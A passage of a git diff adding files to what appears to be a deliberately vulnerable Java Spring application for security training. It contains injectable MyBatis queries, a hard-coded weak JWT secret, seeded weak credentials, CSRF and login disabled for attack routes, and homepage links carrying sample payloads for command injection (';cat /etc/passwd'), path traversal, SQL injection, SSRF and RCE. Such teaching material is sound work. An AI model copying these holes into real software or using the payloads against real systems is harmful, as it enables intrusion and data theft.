+            bindImpl.invoke(socketImpl, host, port);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void listen(int backlog) {
+
+        try {
+            listenImpl.invoke(socketImpl, backlog);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void accept(SocketImpl s) {
+
+        try {
+            acceptImpl.invoke(socketImpl, s);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected InputStream getInputStream() {
+        InputStream inStream = null;
+
+        try {
+            inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+        } catch (ClassCastException | InvocationTargetException |
+                IllegalArgumentException | IllegalAccessException ex) {
+            logger.error(ex.toString());
+        }
+
+        return inStream;
+    }
+
+    @Override
+    protected OutputStream getOutputStream() {
+        OutputStream outStream = null;
+
+        try {
+            outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+        } catch (ClassCastException | IllegalArgumentException |
+                IllegalAccessException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+        return outStream;
+    }
+
+    @Override
+    protected int available() {
+
+        int result = -1;
+
+        try {
+            result = (Integer) availableImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+        return result;
+    }
+
+    @Override
+    protected void close() {
+        try {
+            closeImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    @Override
+    protected void shutdownInput() {
+        try {
+            shutdownInputImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void shutdownOutput() {
+        try {
+            shutdownOutputImpl.invoke(socketImpl);
+        } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+            logger.error(ex.toString());
+        }
+
+    }
+
+    @Override
+    protected void sendUrgentData(int data) {
+        try {
+            sendUrgentDataImpl.invoke(socketImpl, data);
+        } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+            logger.error(ex.toString());
+        }
+    }
+
+    public void setOption(int optID, Object value) throws SocketException {
+        if (null != socketImpl) {
+            socketImpl.setOption(optID, value);
+        }
+    }
+
+    public Object getOption(int optID) throws SocketException {
+        return socketImpl.getOption(optID);
+    }
+
+    /*
+     * Dont impl other child method now. Don't be sure where will use it.
+     *
+     */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..00f6c275
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+    /**
+     * Poll the parent class to find the reflection method.
+     * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
+     *
+     * @author liergou @2020-04-04 01:43
+     */
+    static Method findMethod(Class<?> clazz, String findName, Class<?>[] args) {
+
+        while (clazz != null) {
+            try {
+                Method method = clazz.getDeclaredMethod(findName, args);
+                method.setAccessible(true);
+                return method;
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        return null;
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+    String RequestHttp(String url, HttpHeaders headers);
+
+    String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..f63b6e42
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,37 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+    public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+        try {
+            Cookie cookie = new Cookie(cookieName, null);
+            cookie.setMaxAge(0);
+            cookie.setPath("/");
+            res.addCookie(cookie);
+            return true;
+        } catch (Exception e) {
+            log.error(e.toString());
+            return false;
+        }
+    }
+
+    public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) {
+        try {
+            Cookie cookie = new Cookie(cookieName, cookieValue);
+            cookie.setMaxAge(1000);
+            cookie.setPath("/");
+            res.addCookie(cookie);
+            return true;
+        } catch (Exception e) {
+            log.error(e.toString());
+            return false;
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..c1eac95c
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,223 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.*;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+    private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+    public static String commonHttpClient(String url) {
+
+        HttpClient client = new HttpClient();
+        GetMethod method = new GetMethod(url);
+
+        try {
+            client.executeMethod(method); // send request
+            byte[] resBody = method.getResponseBody();
+            return new String(resBody);
+
+        } catch (IOException e) {
+            return "Error: " + e.getMessage();
+        } finally {
+            // Release the connection.
+            method.releaseConnection();
+        }
+    }
+
+
+    public static String request(String url) {
+        try {
+            return Request.Get(url).execute().returnContent().toString();
+        } catch (Exception e) {
+            return e.getMessage();
+        }
+    }
+
+
+    public static String httpClient(String url) {
+
+        StringBuilder result = new StringBuilder();
+
+        try {
+
+            CloseableHttpClient client = HttpClients.createDefault();
+            HttpGet httpGet = new HttpGet(url);
+            // set redirect enable false
+            // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
+            HttpResponse httpResponse = client.execute(httpGet); // send request
+            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+            String line;
+            while ((line = rd.readLine()) != null) {
+                result.append(line);
+            }
+
+            return result.toString();
+
+        } catch (Exception e) {
+            return e.getMessage();
+        }
+    }
+
+
+    public static String URLConnection(String url) {
+        try {
+            URL u = new URL(url);
+            URLConnection urlConnection = u.openConnection();
+            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+            String inputLine;
+            StringBuilder html = new StringBuilder();
+
+            while ((inputLine = in.readLine()) != null) {
+                html.append(inputLine);
+            }
+            in.close();
+            return html.toString();
+        } catch (Exception e) {
+            logger.error(e.getMessage());
+            return e.getMessage();
+        }
+    }
+
+
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
+    public static String HttpURLConnection(String url) {
+        try {
+            URL u = new URL(url);
+            URLConnection urlConnection = u.openConnection();
+            HttpURLConnection conn = (HttpURLConnection) urlConnection;
+//             conn.setInstanceFollowRedirects(false);
+//             Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+            InputStream is = conn.getInputStream();  // send request
+            BufferedReader in = new BufferedReader(new InputStreamReader(is));
+            String inputLine;
+            StringBuilder html = new StringBuilder();
+
+            while ((inputLine = in.readLine()) != null) {
+                html.append(inputLine);
+            }
+            in.close();
+            return html.toString();
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+            return e.getMessage();
+        }
+    }
+
+
+    /**
+     * Jsoup is a HTML parser about Java.
+     *
+     * @param url http request url
+     */
+    public static String Jsoup(String url) {
+        try {
+            Document doc = Jsoup.connect(url)
+//                    .followRedirects(false)
+                    .timeout(3000)
+                    .cookie("name", "joychou") // request cookies
+                    .execute().parse();
+            return doc.outerHtml();
+        } catch (IOException e) {
+            return e.getMessage();
+        }
+    }
+
+
+    /**
+     * The default setting of followRedirects is true. The option of followRedirects is true.
+     *
+     * UserAgent is <code>okhttp/2.5.0</code>.
+     */
+    public static String okhttp(String url) throws IOException {
+        OkHttpClient client = new OkHttpClient();
+//         client.setFollowRedirects(false);
+        com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
+        return client.newCall(ok_http).execute().body().string();
+    }
+
+
+    /**
+     * The default setting of followRedirects is true.
+     *
+     * UserAgent is Java/1.8.0_102.
+     *
+     * @param url http request url
+     */
+    public static void imageIO(String url) {
+        try {
+            URL u = new URL(url);
+            ImageIO.read(u); // send request
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+        }
+
+    }
+
+
+    /**
+     * IOUtils which is wrapped by URLConnection can get remote pictures.
+     * The default setting of redirection is true.
+     *
+     * @param url http request url
+     */
+    public static void IOUtils(String url) {
+        try {
+            IOUtils.toByteArray(URI.create(url));
+        } catch (IOException e) {
+            logger.error(e.getMessage());
+        }
+    }
+
+
+    public static String HttpAsyncClients(String url) {
+        CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
+        try {
+            httpclient.start();
+            final HttpGet request = new HttpGet(url);
+            Future<HttpResponse> future = httpclient.execute(request, null);
+            HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS);
+            return EntityUtils.toString(response.getEntity());
+        } catch (Exception e) {
+            return e.getMessage();
+        } finally {
+            try {
+                httpclient.close();
+            } catch (Exception e) {
+                logger.error(e.getMessage());
+            }
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java
new file mode 100644
index 00000000..bb33642e
--- /dev/null
+++ b/src/main/java/org/joychou/util/JwtUtils.java
@@ -0,0 +1,104 @@
+package org.joychou.util;
+
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.JWTVerifier;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.Date;
+
+@Slf4j
+public class JwtUtils {
+
+    private static final long EXPIRE = 1440 * 60 * 1000;  // 1440 Minutes, 1 DAY
+    private static final String SECRET = "123456";
+    private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8));
+
+    /**
+     * Generate JWT Token by jjwt (last update time: Jul 05, 2018)
+     *
+     * @author JoyChou 2022-09-20
+     * @param userId userid
+     * @return token
+     */
+    public static String generateTokenByJjwt(String userId) {
+        return Jwts.builder()
+                .setHeaderParam("typ", "JWT")   // header
+                .setHeaderParam("alg", "HS256")     // header
+                .setIssuedAt(new Date())    // token发布时间
+                .setExpiration(new Date(System.currentTimeMillis() + EXPIRE))   // token过期时间
+                .claim("userid", userId)
+                // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。
+                .signWith(SignatureAlgorithm.HS256, B64_SECRET)
+                .compact();
+    }
+
+    public static String getUserIdFromJjwtToken(String token) {
+        try {
+            Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody();
+            return (String)claims.get("userid");
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+    /**
+     * Generate jwt token by java-jwt.
+     *
+     * @author JoyChou 2022-09-20
+     * @param nickname nickname
+     * @return jwt token
+     */
+    public static String generateTokenByJavaJwt(String nickname) {
+        return JWT.create()
+                .withClaim("nickname", nickname)
+                .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE))
+                .withIssuedAt(new Date())
+                .sign(Algorithm.HMAC256(SECRET));
+    }
+
+
+    /**
+     * Verify JWT Token
+     * @param token token
+     * @return Valid token returns true. Invalid token returns false.
+     */
+    public static Boolean verifyTokenByJavaJwt(String token) {
+        try {
+            Algorithm algorithm = Algorithm.HMAC256(SECRET);
+            JWTVerifier verifier = JWT.require(algorithm).build();
+            verifier.verify(token);
+            return true;
+        } catch (JWTVerificationException exception){
+            log.error(exception.toString());
+            return false;
+        }
+    }
+
+
+    public static String getNicknameByJavaJwt(String token) {
+        // If the signature is not verified, there will be security issues.
+        if (!verifyTokenByJavaJwt(token)) {
+            log.error("token is invalid");
+            return null;
+        }
+        return JWT.decode(token).getClaim("nickname").asString();
+    }
+
+
+    public static void main(String[] args) {
+        String jjwtToken = generateTokenByJjwt("10000");
+        System.out.println(jjwtToken);
+        System.out.println(getUserIdFromJjwtToken(jjwtToken));
+
+        String token = generateTokenByJavaJwt("JoyChou");
+        System.out.println(token);
+        System.out.println(getNicknameByJavaJwt(token));
+    }
+}
diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java
new file mode 100644
index 00000000..93ccbd9f
--- /dev/null
+++ b/src/main/java/org/joychou/util/LoginUtils.java
@@ -0,0 +1,21 @@
+package org.joychou.util;
+
+import com.alibaba.fastjson.JSON;
+
+import javax.servlet.http.HttpServletRequest;
+import java.security.Principal;
+import java.util.HashMap;
+import java.util.Map;
+
+public class LoginUtils {
+
+    // get current login username
+    public static String getUserInfo2JsonStr(HttpServletRequest request) {
+        Principal principal = request.getUserPrincipal();
+        String username = principal.getName();
+        Map<String, String> m = new HashMap<>();
+        m.put("Username", username);
+
+        return JSON.toJSONString(m);
+    }
+}
diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java
new file mode 100644
index 00000000..0445f310
--- /dev/null
+++ b/src/main/java/org/joychou/util/WebUtils.java
@@ -0,0 +1,51 @@
+package org.joychou.util;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import java.io.*;
+
+import com.google.common.base.Preconditions;
+import org.springframework.web.util.HtmlUtils;
+
+public class WebUtils {
+
+    // Get request body.
+    public static String getRequestBody(HttpServletRequest request) throws IOException {
+        InputStream in = request.getInputStream();
+        return convertStreamToString(in);
+    }
+
+    // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java
+    public static String convertStreamToString(java.io.InputStream is) {
+        java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
+        return s.hasNext() ? s.next() : "";
+    }
+
+    public static String getCookieValueByName(HttpServletRequest request, String cookieName) {
+        Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName);
+        return cookie == null ? null : cookie.getValue();
+    }
+
+
+    public static String json2Jsonp(String callback, String jsonStr) {
+        return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")";
+    }
+
+
+    public static String getFileExtension(String fullName) {
+        Preconditions.checkNotNull(fullName);
+        String fileName = (new File(fullName)).getName();
+        int dotIndex = fileName.lastIndexOf('.');
+        return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1);
+    }
+
+
+    public static String getNameWithoutExtension(String file) {
+        Preconditions.checkNotNull(file);
+        String fileName = (new File(file)).getName();
+        int dotIndex = fileName.lastIndexOf('.');
+        return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex);
+    }
+
+
+}
diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java
deleted file mode 100644
index f17de34d..00000000
--- a/src/main/java/org/joychou/utils/Security.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package org.joychou.utils;
-
-import com.google.common.net.InternetDomainName;
-import java.net.URL;
-
-public class Security {
-    /**
-     * @param url
-     * @return 安全url返回true,危险url返回false
-     */
-    public static Boolean checkSafeUrl(String url, String[] urlwhitelist){
-        try{
-            URL u = new URL(url);
-            // 判断是否是http(s)协议
-            if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
-                System.out.println("The protocol of url is not http or https.");
-                return false;
-            }
-            String host = u.getHost().toLowerCase();
-            // 如果非顶级域名后缀会报错
-            String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
-
-            for (String whiteurl: urlwhitelist){
-                if (rootDomain.equals(whiteurl)) {
-                    return true;
-                }
-            }
-
-            System.out.println("Url is not safe.");
-            return false;
-        }catch (Exception e) {
-            System.out.println(e.toString());
-            e.printStackTrace();
-            return false;
-        }
-    }
-}
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
new file mode 100644
index 00000000..326a2b76
--- /dev/null
+++ b/src/main/resources/application.properties
@@ -0,0 +1,59 @@
+
+spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC
+spring.datasource.username=root
+spring.datasource.password=woshishujukumima
+spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
+mybatis.mapper-locations=classpath:mapper/*.xml
+# mybatis SQL log
+logging.level.org.joychou.mapper=debug
+
+# Spring Boot Actuator Config
+management.security.enabled=false
+
+# logging.config=classpath:logback-online.xml
+
+# jsonp callback parameter
+joychou.business.callback = callback_
+
+
+### check referer configuration begins ###
+joychou.security.referer.enabled = false
+joychou.security.referer.host = joychou.org, joychou.com
+# Only support ant url style.
+joychou.security.referer.uri = /jsonp/**
+### check referer configuration ends ###
+
+
+### csrf configuration begins ###
+# csrf token check
+joychou.security.csrf.enabled = false
+# URI without CSRF check (only support ANT url format)
+joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/**
+# method for CSRF check
+joychou.security.csrf.method = POST
+### csrf configuration ends ###
+
+
+### jsonp configuration begins ###
+# auto convert json to jsonp
+# referer check
+joychou.security.jsonp.referer.check.enabled = true
+joychou.security.jsonp.callback = callback, _callback
+### jsonp configuration ends ###
+
+# swagger
+swagger.enable = true
+
+
+### no need to login page begins ###
+joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
+### no need to login page ends ###
+
+
+
+# http header max size
+#server.max-http-header-size=30000
+
+# Fake aksk. Simulate actuator info leak.
+jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
+jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt
new file mode 100644
index 00000000..45e1698c
--- /dev/null
+++ b/src/main/resources/banner.txt
@@ -0,0 +1,6 @@
+     ____.                       _________               _________            .___
+    |    |____ ___  _______     /   _____/ ____   ____   \_   ___ \  ____   __| _/____
+    |    \__  \\  \/ /\__  \    \_____  \_/ __ \_/ ___\  /    \  \/ /  _ \ / __ |/ __ \
+/\__|    |/ __ \\   /  / __ \_  /        \  ___/\  \___  \     \___(  <_> ) /_/ \  ___/
+\________(____  /\_/  (____  / /_______  /\___  >\___  >  \______  /\____/\____ |\___  >
+              \/           \/          \/     \/     \/          \/            \/    \/
\ No newline at end of file
diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql
new file mode 100644
index 00000000..350b24f1
--- /dev/null
+++ b/src/main/resources/create_db.sql
@@ -0,0 +1,9 @@
+USE `java_sec_code`;
+CREATE TABLE IF NOT EXISTS `users`(
+   `id` INT UNSIGNED AUTO_INCREMENT,
+   `username` VARCHAR(255) NOT NULL,
+   `password` VARCHAR(255) NOT NULL,
+   PRIMARY KEY (`id`)
+)ENGINE=InnoDB DEFAULT CHARSET=utf8;
+INSERT INTO `users` VALUES (1, 'admin', 'admin123');
+INSERT INTO `users` VALUES (2, 'joychou', 'joychou123');
diff --git a/src/main/resources/logback-online.xml b/src/main/resources/logback-online.xml
new file mode 100644
index 00000000..4bda3a99
--- /dev/null
+++ b/src/main/resources/logback-online.xml
@@ -0,0 +1,12 @@
+<configuration>
+    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
+        <withJansi>true</withJansi>
+        <encoder>
+            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
+        </encoder>
+    </appender>
+    <root level="info">
+        <appender-ref ref="STDOUT" />
+    </root>
+    <jmxConfigurator/>
+</configuration>
\ No newline at end of file
diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml
new file mode 100644
index 00000000..e6894071
--- /dev/null
+++ b/src/main/resources/mapper/UserMapper.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
+
+<mapper namespace="org.joychou.mapper.UserMapper">
+
+    <resultMap type="org.joychou.dao.User" id="User">
+        <id column="id" property="id" javaType="java.lang.Integer" jdbcType="NUMERIC"/>
+        <id column="username" property="username" javaType="java.lang.String" jdbcType="VARCHAR"/>
+        <id column="password" property="password" javaType="java.lang.String" jdbcType="VARCHAR"/>
+    </resultMap>
+
+    <!--<select id="findByUserName" resultMap="User">-->
+	    <!--select * from users where username = #{username}-->
+    <!--</select>-->
+
+    <select id="findByUserNameVuln02" parameterType="String" resultMap="User">
+        select * from users where username like '%${_parameter}%'
+    </select>
+
+    <select id="findByUserNameVuln03" parameterType="String" resultMap="User">
+        select * from users
+        <if test="order != null">
+            order by ${order} asc
+        </if>
+    </select>
+
+    <select id="findById" resultMap="User">
+        select * from users where id = #{id}
+    </select>
+
+
+    <select id="OrderByUsername" resultMap="User">
+        select * from users order by id asc limit 1
+    </select>
+</mapper>
\ No newline at end of file
diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css
new file mode 100644
index 00000000..26401f4e
--- /dev/null
+++ b/src/main/resources/static/css/login.css
@@ -0,0 +1,106 @@
+.login-page {
+    width: 360px;
+    padding: 8% 0 0;
+    margin: auto;
+}
+.form {
+    position: relative;
+    z-index: 1;
+    background: #ffffff;
+    max-width: 360px;
+    margin: 0 auto 100px;
+    padding: 45px;
+    text-align: center;
+    box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
+}
+.form input {
+    outline: 0;
+    background: #f2f2f2;
+    width: 100%;
+    border: 0;
+    margin: 0 0 15px;
+    padding: 15px;
+    box-sizing: border-box;
+    font-size: 14px;
+}
+.form button {
+    text-transform: uppercase;
+    outline: 0;
+    background: #4caf50;
+    width: 100%;
+    border: 0;
+    padding: 15px;
+    color: #ffffff;
+    font-size: 14px;
+    -webkit-transition: all 0.3 ease;
+    transition: all 0.3 ease;
+    cursor: pointer;
+}
+.form button:hover,
+.form button:active,
+.form button:focus {
+    background: #43a047;
+}
+.form .message {
+    margin: 15px 0 0;
+    color: #b3b3b3;
+    font-size: 12px;
+}
+.form .message a {
+    color: #4caf50;
+    text-decoration: none;
+}
+.form .register-form {
+    display: none;
+}
+.form p {
+    text-align: left;
+    margin: 0;
+    font-size: 13px;
+}
+.form p input {
+    width: auto;
+    margin-right: 10px;
+}
+.container {
+    position: relative;
+    z-index: 1;
+    max-width: 300px;
+    margin: 0 auto;
+}
+.container:before,
+.container:after {
+    content: "";
+    display: block;
+    clear: both;
+}
+.container .info {
+    margin: 50px auto;
+    text-align: center;
+}
+.container .info h1 {
+    margin: 0 0 15px;
+    padding: 0;
+    font-size: 36px;
+    font-weight: 300;
+    color: #1a1a1a;
+}
+.container .info span {
+    color: #4d4d4d;
+    font-size: 12px;
+}
+.container .info span a {
+    color: #000000;
+    text-decoration: none;
+}
+.container .info span .fa {
+    color: #ef3b3a;
+}
+body {
+    background: #76b852; /* fallback for old browsers */
+    background: -webkit-linear-gradient(right, #76b852, #8dc26f);
+    background: -moz-linear-gradient(right, #76b852, #8dc26f);
+    background: -o-linear-gradient(right, #76b852, #8dc26f);
+    background: linear-gradient(to left, #76b852, #8dc26f);
+    font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif;
+}
diff --git a/src/main/resources/templates/form.html b/src/main/resources/templates/form.html
new file mode 100644
index 00000000..2ed5a571
--- /dev/null
+++ b/src/main/resources/templates/form.html
@@ -0,0 +1,28 @@
+
+<html xmlns:th="http://www.thymeleaf.org" lang="en">
+<head>
+    <script th:src="@{https://code.jquery.com/jquery-3.4.1.min.js}"></script>
+</head>
+
+
+
+<body>
+
+
+<div>
+    <!-- th:action with Spring 3.2+ and Thymeleaf 2.1+ can automatically force Thymeleaf to include the CSRF token as a hidden field -->
+    <!-- <form name="f" th:action="@{/csrf/post}" method="post"> -->
+    <form name="f" action="/csrf/post" method="post">
+        <input type="text" name="input" />
+        <input type="submit" value="Submit" />
+        <input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}" />
+    </form>
+</div>
+
+
+</body>
+
+
+
+
+</html>
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
new file mode 100644
index 00000000..7e7061be
--- /dev/null
+++ b/src/main/resources/templates/index.html
@@ -0,0 +1,34 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+<head>
+    <meta charset="UTF-8" />
+    <title>Home Page</title>
+</head>
+<body>
+<p>Hello <span th:text="${user}"></span>.</p>
+<p>Welcome to login java-sec-code application. <a th:href="@{/appInfo}">Application Infomation</a></p>
+<p>
+    <a th:href="@{/swagger-ui.html}">Swagger</a>&nbsp;&nbsp;
+    <a th:href="@{/codeinject?filepath=/tmp;cat /etc/passwd}">CmdInject</a>&nbsp;&nbsp;
+    <a th:href="@{/jsonp/getToken?_callback=test}">JSONP</a>&nbsp;&nbsp;
+    <a th:href="@{/file/pic}">Picture Upload</a>&nbsp;&nbsp;
+    <a th:href="@{/file/any}">File Upload</a>&nbsp;&nbsp;
+    <a th:href="@{cors/sec/originFilter}">Cors</a>&nbsp;&nbsp;
+    <a th:href="@{/path_traversal/vul?filepath=../../../../../etc/passwd}">PathTraversal</a>&nbsp;&nbsp;
+    <a th:href="@{sqli/mybatis/vuln01?username=joychou' or '1'='1}">SqlInject</a>&nbsp;&nbsp;
+    <a th:href="@{/ssrf/urlConnection/vuln?url=file:///etc/passwd}">SSRF</a>&nbsp;&nbsp;
+    <a th:href="@{/rce/runtime/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
+    <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
+    <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
+    <a th:href="@{/env}">actuator env</a>
+</p>
+
+<P>
+    <a th:href="@{/jwt/createToken}">JWTCreateToken</a>
+    <a th:href="@{/jwt/getName}">GetUserFromJWTToken</a>
+</P>
+<p>...</p>
+<a th:href="@{/logout}">logout</a>
+
+</body>
+</html>
diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html
new file mode 100644
index 00000000..d5c4ccd5
--- /dev/null
+++ b/src/main/resources/templates/login.html
@@ -0,0 +1,70 @@
+<!DOCTYPE html>
+<html xmlns:th="http://www.thymeleaf.org">
+
+<head>
+    <title>Login</title>
+    <meta charset="UTF-8" />
+    <meta name="_csrf" th:content="${_csrf.token}" />
+    <meta name="_csrf_headerName" th:content="${_csrf.headerName}" />
+    <meta name="_csrf_parameterName" th:content="${_csrf.parameterName}" />
+    <link rel="stylesheet" th:href="@{/css/login.css}" type="text/css" />
+    <script th:src="@{https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js}"></script>
+
+    <script>
+        window.csrfToken = {
+            "tokenName" : $("meta[name='_csrf_headerName']").attr("content"),
+            "tokenValue" : $("meta[name='_csrf']").attr("content")
+        };
+        console.log(csrfToken.tokenName);
+        console.log(csrfToken.tokenValue);
+
+    </script>
+
+</head>
+
+
+<body>
+<div class="login-page">
+    <div class="form">
+        <input type="text" placeholder="Username" name="username" required="required"/>
+        <input type="password" placeholder="Password" name="password" required="required"/>
+        <p style="line-height: 1; margin: 0;">
+            <input type="checkbox" name="remember-me" style="vertical-align: top;" checked="checked"/>RememberMe
+        </p>
+        <button onclick="login()">Login</button>
+    </div>
+</div>
+</body>
+<script th:inline="javascript">
+    var ctx = [[@{/}]];
+    var tokenHeader = {};
+    tokenHeader[csrfToken.tokenName] = csrfToken.tokenValue;  // header must be a object
+
+    function login() {
+        var username = $("input[name='username']").val();
+        var password = $("input[name='password']").val();
+        var remember_me =$("input[name='remember-me']").is(':checked');
+        $.ajax({
+            type: "post",
+            url: ctx + "login",
+            // headers: {csrfToken.tokenName: csrfToken.tokenValue}  not ok
+            // headers: { "X-XSRF-TOKEN" : csrfToken}   ok
+            headers: tokenHeader,
